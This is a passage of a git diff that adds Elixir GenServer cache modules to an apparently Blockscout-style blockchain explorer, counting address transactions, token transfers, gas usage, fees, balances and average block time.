__MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(address) do + if cache_expired?(address) do + update_cache(address) + end + + address_hash_string = to_string(address.hash) + fetch_from_cache("hash_#{address_hash_string}") + end + + def cache_name, do: @cache_name + + defp cache_expired?(address) do + cache_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + address_hash_string = to_string(address.hash) + updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") + + cond do + is_nil(updated_at) -> true + Helper.current_time() - updated_at > cache_period -> true + true -> false + end + end + + defp update_cache(address) do + address_hash_string = to_string(address.hash) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) + new_data = Counters.address_to_gas_usage_count(address) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}", new_data) + put_into_db(address, new_data) + end + + defp fetch_from_cache(key) do + Helper.fetch_from_ets_cache(@cache_name, key) + end + + defp put_into_db(_address, value) when is_nil(value), do: :ignore + + defp put_into_db(address, value) do + address + |> Changeset.change(%{gas_used: Decimal.to_integer(value)}) + |> Repo.update() + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/address_tabs_elements_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/address_tabs_elements_count.ex new file mode 100644 index 000000000000..6c6e13de27d6 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/address_tabs_elements_count.ex @@ -0,0 +1,139 @@ +defmodule Explorer.Chain.Cache.Counters.AddressTabsElementsCount do + @moduledoc """ + Cache for tabs counters on address + """ + + use GenServer + + import Explorer.Chain.Cache.Counters.Helper, only: [fetch_from_ets_cache: 3] + + alias Explorer.Chain.Address.Counters + + @cache_name :addresses_tabs_counters + + @typep counter_type :: + :validations + | :transactions + | :token_transfers + | :token_balances + | :logs + | :withdrawals + | :internal_transactions + | :beacon_deposits + @typep response_status :: :limit_value | :stale | :up_to_date + + @spec get_counter(counter_type, String.t()) :: {DateTime.t(), non_neg_integer(), response_status} | nil + def get_counter(counter_type, address_hash) do + @cache_name |> fetch_from_ets_cache(address_hash |> cache_key(counter_type), nil) |> check_staleness() + end + + @spec set_counter(counter_type, String.t(), non_neg_integer()) :: :ok + def set_counter(counter_type, address_hash, counter) do + :ets.insert(@cache_name, {cache_key(address_hash, counter_type), {DateTime.utc_now(), counter}}) + + :ok + end + + @spec set_task(atom, String.t()) :: true + def set_task(counter_type, address_hash) do + :ets.insert(@cache_name, {task_cache_key(address_hash, counter_type), true}) + end + + @spec drop_task(atom, String.t()) :: true + def drop_task(counter_type, address_hash) do + :ets.delete(@cache_name, task_cache_key(address_hash, counter_type)) + end + + @spec get_task(atom, String.t()) :: true | nil + def get_task(counter_type, address_hash) do + @cache_name |> fetch_from_ets_cache(address_hash |> task_cache_key(counter_type), nil) + end + + def save_transactions_counter_progress(address_hash, results) do + GenServer.cast(__MODULE__, {:set_transactions_state, address_hash, results}) + end + + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_opts) do + :ets.new(@cache_name, [ + :set, + :named_table, + :public, + read_concurrency: true, + write_concurrency: true + ]) + + {:ok, %{}} + end + + @impl true + def handle_cast({:set_transactions_state, address_hash, %{transactions_types: transactions_types} = results}, state) do + address_hash = lowercased_string(address_hash) + + if ignored?(state[address_hash]) do + {:noreply, state} + else + address_state = + transactions_types + |> Enum.reduce(state[address_hash] || %{}, fn transaction_type, acc -> + Map.put(acc, transaction_type, results[transaction_type]) + end) + |> (&Map.put(&1, :transactions_types, (transactions_types ++ (&1[:transactions_types] || [])) |> Enum.uniq())).() + + counter = + Counters.transactions_types() + |> Enum.reduce([], fn type, acc -> + (address_state[type] || []) ++ acc + end) + |> Enum.uniq() + |> Enum.count() + |> min(Counters.counters_limit()) + + cond do + Enum.count(address_state[:transactions_types]) == 3 -> + set_counter(:transactions, address_hash, counter) + {:noreply, Map.put(state, address_hash, nil)} + + counter == Counters.counters_limit() -> + set_counter(:transactions, address_hash, counter) + {:noreply, Map.put(state, address_hash, :limit_value)} + + true -> + {:noreply, Map.put(state, address_hash, address_state)} + end + end + end + + defp ignored?(:limit_value), do: true + defp ignored?(_), do: false + + defp check_staleness(nil), do: nil + defp check_staleness({datetime, counter}) when counter > 50, do: {datetime, counter, :limit_value} + + defp check_staleness({datetime, counter}) do + status = + if up_to_date?(datetime, ttl()) do + :up_to_date + else + :stale + end + + {datetime, counter, status} + end + + defp up_to_date?(datetime, ttl) do + datetime + |> DateTime.add(ttl, :millisecond) + |> DateTime.compare(DateTime.utc_now()) != :lt + end + + defp ttl, do: Application.get_env(:explorer, Explorer.Chain.Cache.Counters.AddressTabsElementsCount)[:ttl] + defp lowercased_string(str), do: str |> to_string() |> String.downcase() + + defp cache_key(address_hash, counter_type), do: {lowercased_string(address_hash), counter_type} + defp task_cache_key(address_hash, counter_type), do: {:task, lowercased_string(address_hash), counter_type} +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/address_token_transfers_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/address_token_transfers_count.ex new file mode 100644 index 000000000000..1a4cb51c033f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/address_token_transfers_count.ex @@ -0,0 +1,85 @@ +defmodule Explorer.Chain.Cache.Counters.AddressTokenTransfersCount do + @moduledoc """ + Caches Address token transfers count. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Ecto.Changeset + alias Explorer.Chain.Address.Counters + alias Explorer.Chain.Cache.Counters.Helper + alias Explorer.Repo + + @cache_name :address_token_transfers_counter + @last_update_key "last_update" + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(address) do + if cache_expired?(address) do + update_cache(address) + end + + address_hash_string = to_string(address.hash) + fetch_from_cache("hash_#{address_hash_string}") + end + + def cache_name, do: @cache_name + + defp cache_expired?(address) do + cache_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + address_hash_string = to_string(address.hash) + updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") + + cond do + is_nil(updated_at) -> true + Helper.current_time() - updated_at > cache_period -> true + true -> false + end + end + + defp update_cache(address) do + address_hash_string = to_string(address.hash) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) + new_data = Counters.address_to_token_transfer_count(address) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}", new_data) + put_into_db(address, new_data) + end + + defp fetch_from_cache(key) do + Helper.fetch_from_ets_cache(@cache_name, key) + end + + defp put_into_db(address, value) do + address + |> Changeset.change(%{token_transfers_count: value}) + |> Repo.update() + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/address_tokens_usd_sum.ex b/apps/explorer/lib/explorer/chain/cache/counters/address_tokens_usd_sum.ex new file mode 100644 index 000000000000..6138737e5048 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/address_tokens_usd_sum.ex @@ -0,0 +1,87 @@ +defmodule Explorer.Chain.Cache.Counters.AddressTokensUsdSum do + @moduledoc """ + Caches Address tokens USD value. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.Helper + + @cache_name :address_tokens_fiat_value + @last_update_key "last_update" + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(address_hash_string, token_balances) do + if cache_expired?(address_hash_string) do + Task.start_link(fn -> + update_cache(address_hash_string, token_balances) + end) + end + + fetch_from_cache("hash_#{address_hash_string}") + end + + @spec address_tokens_fiat_sum([{Address.CurrentTokenBalance, Explorer.Chain.Token}]) :: Decimal.t() + defp address_tokens_fiat_sum(token_balances) do + token_balances + |> Enum.reduce(Decimal.new(0), fn token_balance, acc -> + if token_balance.value && token_balance.token.fiat_value && token_balance.token.decimals do + Decimal.add(acc, Chain.balance_in_fiat(token_balance)) + else + acc + end + end) + end + + def cache_name, do: @cache_name + + defp cache_expired?(address_hash_string) do + cache_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") + + cond do + is_nil(updated_at) -> true + Helper.current_time() - updated_at > cache_period -> true + true -> false + end + end + + defp update_cache(address_hash_string, token_balances) do + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) + new_data = address_tokens_fiat_sum(token_balances) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}", new_data) + end + + defp fetch_from_cache(key) do + Helper.fetch_from_ets_cache(@cache_name, key) + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/address_transactions_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/address_transactions_count.ex new file mode 100644 index 000000000000..2611d7840818 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/address_transactions_count.ex @@ -0,0 +1,85 @@ +defmodule Explorer.Chain.Cache.Counters.AddressTransactionsCount do + @moduledoc """ + Caches Address transactions count. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Ecto.Changeset + alias Explorer.Chain.Address.Counters + alias Explorer.Chain.Cache.Counters.Helper + alias Explorer.Repo + + @cache_name :address_transactions_counter + @last_update_key "last_update" + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(address) do + if cache_expired?(address) do + update_cache(address) + end + + address_hash_string = to_string(address.hash) + fetch_from_cache("hash_#{address_hash_string}") + end + + def cache_name, do: @cache_name + + defp cache_expired?(address) do + cache_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + address_hash_string = to_string(address.hash) + updated_at = fetch_from_cache("hash_#{address_hash_string}_#{@last_update_key}") + + cond do + is_nil(updated_at) -> true + Helper.current_time() - updated_at > cache_period -> true + true -> false + end + end + + defp update_cache(address) do + address_hash_string = to_string(address.hash) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}_#{@last_update_key}", Helper.current_time()) + new_data = Counters.address_to_transaction_count(address) + Helper.put_into_ets_cache(@cache_name, "hash_#{address_hash_string}", new_data) + put_into_db(address, new_data) + end + + defp fetch_from_cache(key) do + Helper.fetch_from_ets_cache(@cache_name, key) + end + + defp put_into_db(address, value) do + address + |> Changeset.change(%{transactions_count: value}) + |> Repo.update() + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/addresses_coin_balance_sum.ex b/apps/explorer/lib/explorer/chain/cache/counters/addresses_coin_balance_sum.ex new file mode 100644 index 000000000000..6bbf742342b9 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/addresses_coin_balance_sum.ex @@ -0,0 +1,66 @@ +defmodule Explorer.Chain.Cache.Counters.AddressesCoinBalanceSum do + @moduledoc """ + Cache for address sum. + """ + + require Logger + + use Explorer.Chain.MapCache, + name: :address_sum, + key: :sum, + key: :async_task, + ttl_check_interval: Application.get_env(:explorer, __MODULE__)[:ttl_check_interval], + global_ttl: :infinity, + callback: &async_task_on_deletion(&1) + + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Etherscan + + @cache_key "addresses_coin_balance_sum" + + defp handle_fallback(:sum) do + # This will get the task PID if one exists, check if it's running and launch + # a new task if task doesn't exist or it's not running. + # See next `handle_fallback` definition + safe_get_async_task() + + {:return, Decimal.new(0)} + end + + defp handle_fallback(:async_task) do + # If this gets called it means an async task was requested, but none exists + # so a new one needs to be launched + {:ok, task} = + Task.start_link(fn -> + try do + result = Etherscan.fetch_sum_coin_total_supply() + + params = %{ + counter_type: @cache_key, + value: result + } + + LastFetchedCounter.upsert(params) + + set_sum(%ConCache.Item{ttl: CacheCountersHelper.ttl(__MODULE__, "CACHE_ADDRESS_SUM_PERIOD"), value: result}) + rescue + e -> + Logger.debug([ + "Couldn't update address sum: ", + Exception.format(:error, e, __STACKTRACE__) + ]) + end + + set_async_task(nil) + end) + + {:update, task} + end + + # By setting this as a `callback` an async task will be started each time the + # `sum` expires (unless there is one already running) + defp async_task_on_deletion({:delete, _, :sum}), do: safe_get_async_task() + + defp async_task_on_deletion(_data), do: nil +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/addresses_coin_balance_sum_minus_burnt.ex b/apps/explorer/lib/explorer/chain/cache/counters/addresses_coin_balance_sum_minus_burnt.ex new file mode 100644 index 000000000000..418c41947abb --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/addresses_coin_balance_sum_minus_burnt.ex @@ -0,0 +1,69 @@ +defmodule Explorer.Chain.Cache.Counters.AddressesCoinBalanceSumMinusBurnt do + @moduledoc """ + Cache for address sum minus burnt number. + """ + + require Logger + + use Explorer.Chain.MapCache, + name: :address_sum_minus_burnt, + key: :sum_minus_burnt, + key: :async_task, + ttl_check_interval: Application.get_env(:explorer, __MODULE__)[:ttl_check_interval], + global_ttl: :infinity, + callback: &async_task_on_deletion(&1) + + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Etherscan + + @cache_key "addresses_coin_balance_sum_minus_burnt" + + defp handle_fallback(:sum_minus_burnt) do + # This will get the task PID if one exists, check if it's running and launch + # a new task if task doesn't exist or it's not running. + # See next `handle_fallback` definition + safe_get_async_task() + + {:return, Decimal.new(0)} + end + + defp handle_fallback(:async_task) do + # If this gets called it means an async task was requested, but none exists + # so a new one needs to be launched + {:ok, task} = + Task.start_link(fn -> + try do + result = Etherscan.fetch_sum_coin_total_supply_minus_burnt() + + params = %{ + counter_type: @cache_key, + value: result + } + + LastFetchedCounter.upsert(params) + + set_sum_minus_burnt(%ConCache.Item{ + ttl: CacheCountersHelper.ttl(__MODULE__, "CACHE_ADDRESS_SUM_PERIOD"), + value: result + }) + rescue + e -> + Logger.debug([ + "Couldn't update address sum: ", + Exception.format(:error, e, __STACKTRACE__) + ]) + end + + set_async_task(nil) + end) + + {:update, task} + end + + # By setting this as a `callback` an async task will be started each time the + # `sum_minus_burnt` expires (unless there is one already running) + defp async_task_on_deletion({:delete, _, :sum_minus_burnt}), do: safe_get_async_task() + + defp async_task_on_deletion(_data), do: nil +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/addresses_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/addresses_count.ex new file mode 100644 index 000000000000..6e58591b4c16 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/addresses_count.ex @@ -0,0 +1,131 @@ +defmodule Explorer.Chain.Cache.Counters.AddressesCount do + @moduledoc """ + Caches the number of all addresses. + + It loads the count asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + # It is undesirable to automatically start the consolidation in all environments. + # Consider the test environment: if the consolidation initiates but does not + # finish before a test ends, that test will fail. This way, hundreds of + # tests were failing before disabling the consolidation and the scheduler in + # the test env. + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Explorer.Chain.Address + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Repo + + @table_name :addresses_counter + + @cache_key "addresses_count" + + @doc """ + Starts a process to periodically update the counter of the token holders. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + create_table() + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + def create_table do + opts = [ + :set, + :named_table, + :public, + read_concurrency: true + ] + + :ets.new(@table_name, opts) + end + + defp schedule_next_consolidation do + Process.send_after( + self(), + :consolidate, + Application.get_env(:explorer, __MODULE__)[:update_interval_in_milliseconds] + ) + end + + @doc """ + Inserts new items into the `:ets` table. + """ + def insert_counter({key, info}) do + :ets.insert(@table_name, {key, info}) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches the info for a specific item from the `:ets` table. + """ + def fetch do + do_fetch(:ets.lookup(@table_name, @cache_key)) + end + + defp do_fetch([{_, result}]), do: result + + defp do_fetch([]) do + CacheCountersHelper.evaluate_count(@cache_key, nil, :estimated_addresses_count) + end + + @doc """ + Consolidates the info by populating the `:ets` table with the current database information. + """ + def consolidate do + counter = Repo.aggregate(Address, :count, timeout: :infinity) + + params = %{ + counter_type: @cache_key, + value: counter + } + + LastFetchedCounter.upsert(params) + + insert_counter({@cache_key, counter}) + end + + @doc """ + Returns a boolean that indicates whether consolidation is enabled + + In order to choose whether or not to enable the scheduler and the initial + consolidation, change the following Explorer config: + + `config :explorer, Explorer.Chain.Cache.Counters.AddressesCount, enable_consolidation: true` + + to: + + `config :explorer, Explorer.Chain.Cache.Counters.AddressesCount, enable_consolidation: false` + """ + def enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/average_block_time.ex b/apps/explorer/lib/explorer/chain/cache/counters/average_block_time.ex new file mode 100644 index 000000000000..7d6e715c7cce --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/average_block_time.ex @@ -0,0 +1,147 @@ +defmodule Explorer.Chain.Cache.Counters.AverageBlockTime do + @moduledoc """ + Caches the average block time in milliseconds. + """ + use GenServer + + import Ecto.Query, only: [from: 2, where: 2] + + alias EthereumJSONRPC.Utility.RangesHelper + alias Explorer.Chain.Block + alias Explorer.Repo + alias Timex.Duration + + @num_of_blocks 100 + @offset 100 + + @doc """ + Starts a process to periodically update the counter of the token holders. + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + def average_block_time do + enabled? = + :explorer + |> Application.fetch_env!(__MODULE__) + |> Keyword.fetch!(:enabled) + + if enabled? do + GenServer.call(__MODULE__, :average_block_time) + else + {:error, :disabled} + end + end + + def refresh do + GenServer.call(__MODULE__, :refresh_timestamps) + end + + ## Server + @impl true + def init(_) do + refresh_period = Application.get_env(:explorer, __MODULE__)[:cache_period] + Process.send_after(self(), :refresh_timestamps, refresh_period) + + {:ok, %{}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, _state) do + {:noreply, refresh_timestamps()} + end + + @impl true + def handle_call(:average_block_time, _from, %{average: average} = state), do: {:reply, average, state} + + @impl true + def handle_call(:refresh_timestamps, _, _) do + {:reply, :ok, refresh_timestamps()} + end + + @impl true + def handle_info(:refresh_timestamps, _) do + refresh_period = Application.get_env(:explorer, __MODULE__)[:period] + Process.send_after(self(), :refresh_timestamps, refresh_period) + + {:noreply, refresh_timestamps()} + end + + defp refresh_timestamps do + first_block_from_config = + RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :block_ranges)) + + base_query = + from(block in Block, + where: block.number > ^first_block_from_config, + limit: ^@num_of_blocks, + offset: ^@offset, + order_by: [desc: block.number], + select: {block.number, block.timestamp} + ) + + timestamps_query = + if Application.get_env(:explorer, :include_uncles_in_average_block_time) do + base_query + else + base_query + |> where(consensus: true) + end + + raw_timestamps = + timestamps_query + |> Repo.all() + + timestamps = + raw_timestamps + |> Enum.sort_by(fn {_, timestamp} -> timestamp end, &Timex.after?/2) + |> Enum.map(fn {number, timestamp} -> + {number, DateTime.to_unix(timestamp, :millisecond)} + end) + + %{timestamps: timestamps, average: average_distance(timestamps)} + end + + defp average_distance([]), do: Duration.from_milliseconds(0) + defp average_distance([_]), do: Duration.from_milliseconds(0) + + defp average_distance(timestamps) do + durations = durations(timestamps) + + {sum, count} = + Enum.reduce(durations, {0, 0}, fn duration, {sum, count} -> + {sum + duration, count + 1} + end) + + average = if count == 0, do: 0, else: sum / count + + average + |> round() + |> Duration.from_milliseconds() + end + + defp durations(timestamps) do + timestamps + |> Enum.reduce({[], nil, nil}, fn {block_number, timestamp}, {durations, last_block_number, last_timestamp} -> + if last_timestamp do + compose_durations(durations, block_number, last_block_number, last_timestamp, timestamp) + else + {durations, block_number, timestamp} + end + end) + |> elem(0) + end + + defp compose_durations(durations, block_number, last_block_number, last_timestamp, timestamp) do + block_numbers_range = last_block_number - block_number + + if block_numbers_range <= 0 do + {durations, block_number, timestamp} + else + duration = (last_timestamp - timestamp) / block_numbers_range + {[duration | durations], block_number, timestamp} + end + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/blackfort/validators_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/blackfort/validators_count.ex new file mode 100644 index 000000000000..8c2ad1f76f39 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/blackfort/validators_count.ex @@ -0,0 +1,95 @@ +defmodule Explorer.Chain.Cache.Counters.Blackfort.ValidatorsCount do + @moduledoc """ + Counts and store counters of validators blackfort. + + It loads the count asynchronously and in a time interval of 30 minutes. + """ + + use GenServer + # It is undesirable to automatically start the consolidation in all environments. + # Consider the test environment: if the consolidation initiates but does not + # finish before a test ends, that test will fail. This way, hundreds of + # tests were failing before disabling the consolidation and the scheduler in + # the test env. + use Utils.CompileTimeEnvHelper, + enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]], + update_interval_in_milliseconds: [:explorer, [__MODULE__, :update_interval_in_milliseconds]] + + alias Explorer.Chain.Blackfort.Validator, as: ValidatorBlackfort + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + + @validators_counter_key "blackfort_validators_counter" + @new_validators_counter_key "new_blackfort_validators_counter" + + @doc """ + Starts a process to periodically update validators blackfort counters + """ + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + @impl true + def init(_args) do + {:ok, %{consolidate?: @enable_consolidation}, {:continue, :ok}} + end + + defp schedule_next_consolidation do + Process.send_after(self(), :consolidate, @update_interval_in_milliseconds) + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + consolidate() + schedule_next_consolidation() + + {:noreply, state} + end + + @doc """ + Fetches values for a blackfort validators counters from the `last_fetched_counters` table. + """ + @spec get_counters(Keyword.t()) :: map() + def get_counters(options) do + %{ + validators_counter: LastFetchedCounter.get(@validators_counter_key, options), + new_validators_counter: LastFetchedCounter.get(@new_validators_counter_key, options) + } + end + + @doc """ + Consolidates the info by populating the `last_fetched_counters` table with the current database information. + """ + @spec consolidate() :: any() + def consolidate do + tasks = [ + Task.async(fn -> ValidatorBlackfort.count_validators() end), + Task.async(fn -> ValidatorBlackfort.count_new_validators() end) + ] + + [validators_counter, new_validators_counter] = Task.await_many(tasks, :infinity) + + LastFetchedCounter.upsert(%{ + counter_type: @validators_counter_key, + value: validators_counter + }) + + LastFetchedCounter.upsert(%{ + counter_type: @new_validators_counter_key, + value: new_validators_counter + }) + end +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/block_burnt_fee_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/block_burnt_fee_count.ex new file mode 100644 index 000000000000..4bf6ee239553 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/block_burnt_fee_count.ex @@ -0,0 +1,71 @@ +defmodule Explorer.Chain.Cache.Counters.BlockBurntFeeCount do + @moduledoc """ + Caches Block Burnt Fee counter. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.Helper + + @cache_name :block_burnt_fee_counter + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(block_hash) do + if does_not_exist?(block_hash) do + update_cache(block_hash) + end + + block_hash_string = get_block_hash_string(block_hash) + fetch_from_cache("#{block_hash_string}") + end + + def cache_name, do: @cache_name + + defp does_not_exist?(block_hash) do + block_hash_string = get_block_hash_string(block_hash) + :ets.lookup(@cache_name, "#{block_hash_string}") == [] + end + + defp update_cache(block_hash) do + block_hash_string = get_block_hash_string(block_hash) + new_data = Chain.block_to_gas_used_by_1559_transactions(block_hash) + Helper.put_into_ets_cache(@cache_name, "#{block_hash_string}", new_data) + end + + defp fetch_from_cache(key) do + Helper.fetch_from_ets_cache(@cache_name, key) + end + + defp get_block_hash_string(block_hash) do + Base.encode16(block_hash.bytes, case: :lower) + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/block_priority_fee_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/block_priority_fee_count.ex new file mode 100644 index 000000000000..54c323f5ec2a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/block_priority_fee_count.ex @@ -0,0 +1,71 @@ +defmodule Explorer.Chain.Cache.Counters.BlockPriorityFeeCount do + @moduledoc """ + Caches Block Priority Fee counter. + """ + use GenServer + use Utils.CompileTimeEnvHelper, enable_consolidation: [:explorer, [__MODULE__, :enable_consolidation]] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.Helper + + @cache_name :block_priority_fee_counter + + @spec start_link(term()) :: GenServer.on_start() + def start_link(_) do + GenServer.start_link(__MODULE__, :ok, name: __MODULE__) + end + + @impl true + def init(_args) do + Helper.create_cache_table(@cache_name) + + {:ok, %{consolidate?: enable_consolidation?()}, {:continue, :ok}} + end + + @impl true + def handle_continue(:ok, %{consolidate?: true} = state) do + {:noreply, state} + end + + @impl true + def handle_continue(:ok, state) do + {:noreply, state} + end + + @impl true + def handle_info(:consolidate, state) do + {:noreply, state} + end + + def fetch(block_hash) do + if does_not_exist?(block_hash) do + update_cache(block_hash) + end + + block_hash_string = get_block_hash_string(block_hash) + fetch_from_cache("#{block_hash_string}") + end + + def cache_name, do: @cache_name + + defp does_not_exist?(block_hash) do + block_hash_string = get_block_hash_string(block_hash) + :ets.lookup(@cache_name, "#{block_hash_string}") == [] + end + + defp update_cache(block_hash) do + block_hash_string = get_block_hash_string(block_hash) + new_data = Chain.block_to_priority_fee_of_1559_transactions(block_hash) + Helper.put_into_ets_cache(@cache_name, "#{block_hash_string}", new_data) + end + + defp fetch_from_cache(key) do + Helper.fetch_from_ets_cache(@cache_name, key) + end + + defp get_block_hash_string(block_hash) do + Base.encode16(block_hash.bytes, case: :lower) + end + + defp enable_consolidation?, do: @enable_consolidation +end diff --git a/apps/explorer/lib/explorer/chain/cache/counters/blocks_count.ex b/apps/explorer/lib/explorer/chain/cache/counters/blocks_count.ex new file mode 100644 index 000000000000..73968157a01c --- /dev/null +++ b/apps/explorer/lib/explorer/chain/cache/counters/blocks_count.ex @@ -0,0 +1,95 @@ +defmodule Explorer.Chain.Cache.Counters.BlocksCount do + @moduledoc """ + Cache for total blocks count. + """ + + import Ecto.Query, + only: [ + from: 2 + ] + + use Explorer.Chain.MapCache, + name: :block_count, + key: :count, + key: :async_task, + global_ttl: :infinity, + ttl_check_interval: :timer.seconds(1), + callback: &async_task_on_deletion(&1) + + require Logger + + alias Explorer.Chain.Block + alias Explorer.Chain.Cache.Counters.Helper, as: CacheCountersHelper + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Repo + + @cache_key "blocks_count" + + @doc """ + Gets count of 